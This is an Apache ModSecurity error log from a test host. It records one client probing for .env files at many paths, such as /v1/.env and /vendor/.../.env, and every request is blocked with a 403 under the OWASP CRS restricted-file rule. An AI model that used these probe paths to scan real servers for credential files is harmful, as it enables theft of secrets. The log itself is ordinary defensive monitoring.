[Wed Feb 25 06:05:43.508364 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KAAAAAM&quot;]
[Wed Feb 25 06:05:43.508606 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KAAAAAM&quot;]
[Wed Feb 25 06:05:43.508770 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KAAAAAM&quot;]
[Wed Feb 25 06:05:43.714104 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user_info/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KgAAAAM&quot;]
[Wed Feb 25 06:05:43.714393 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KgAAAAM&quot;]
[Wed Feb 25 06:05:43.714565 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KgAAAAM&quot;]
[Wed Feb 25 06:05:43.740134 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KwAAAAM&quot;]
[Wed Feb 25 06:05:43.740409 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KwAAAAM&quot;]
[Wed Feb 25 06:05:43.740585 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6KwAAAAM&quot;]
[Wed Feb 25 06:05:43.989400 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6LwAAAAM&quot;]
[Wed Feb 25 06:05:43.989694 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6LwAAAAM&quot;]
[Wed Feb 25 06:05:43.989870 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6LwAAAAM&quot;]
[Wed Feb 25 06:05:44.042521 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MAAAAAM&quot;]
[Wed Feb 25 06:05:44.042820 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MAAAAAM&quot;]
[Wed Feb 25 06:05:44.043013 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MAAAAAM&quot;]
[Wed Feb 25 06:05:44.147147 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MQAAAAM&quot;]
[Wed Feb 25 06:05:44.147431 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MQAAAAM&quot;]
[Wed Feb 25 06:05:44.147613 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MQAAAAM&quot;]
[Wed Feb 25 06:05:44.201587 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/gobuffalo/envy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MgAAAAM&quot;]
[Wed Feb 25 06:05:44.201877 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MgAAAAM&quot;]
[Wed Feb 25 06:05:44.202054 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MgAAAAM&quot;]
[Wed Feb 25 06:05:44.239894 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/subosito/gotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MwAAAAM&quot;]
[Wed Feb 25 06:05:44.240192 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MwAAAAM&quot;]
[Wed Feb 25 06:05:44.240401 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6MwAAAAM&quot;]
[Wed Feb 25 06:05:44.258722 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp198QAAAAE&quot;]
[Wed Feb 25 06:05:44.258995 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp198QAAAAE&quot;]
[Wed Feb 25 06:05:44.259178 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp198QAAAAE&quot;]
[Wed Feb 25 06:05:44.372206 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199AAAAAE&quot;]
[Wed Feb 25 06:05:44.372481 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199AAAAAE&quot;]
[Wed Feb 25 06:05:44.372671 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp199AAAAAE&quot;]
[Wed Feb 25 06:05:44.398022 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /videos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6NgAAAAM&quot;]
[Wed Feb 25 06:05:44.398277 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6NgAAAAM&quot;]
[Wed Feb 25 06:05:44.398461 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/videos/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6NgAAAAM&quot;]
